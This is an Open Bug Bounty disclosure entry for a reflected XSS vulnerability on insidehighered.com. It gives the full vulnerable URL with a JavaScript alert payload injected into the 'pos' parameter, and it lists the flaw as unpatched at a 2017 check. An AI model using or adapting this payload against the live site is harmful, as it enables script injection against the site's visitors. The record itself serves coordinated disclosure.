insidehighered.com XSS vulnerability

2015-08-04T18:36:00
ID OBB:77597
Type openbugbounty
Reporter nopernik
Modified 2015-08-04T18:39:00

Description

Vulnerable URL:
http://www.insidehighered.com/ads/?pos=1"-alert("xssposed"))//
Details:

Description| Value
---|---
Patched:| No
Latest check for patch:| 25.07.2017
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 16317
Google Pagerank| 8
VIP website status:| Yes
Check insidehighered.com SSL connection:| (Grade: A)

Coordinated Disclosure Timeline:

Description| Value
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Vulnerability reported| 4 August, 2015 18:36 GMT
Vulnerability existence verified and confirmed| 4 August, 2015 18:39 GMT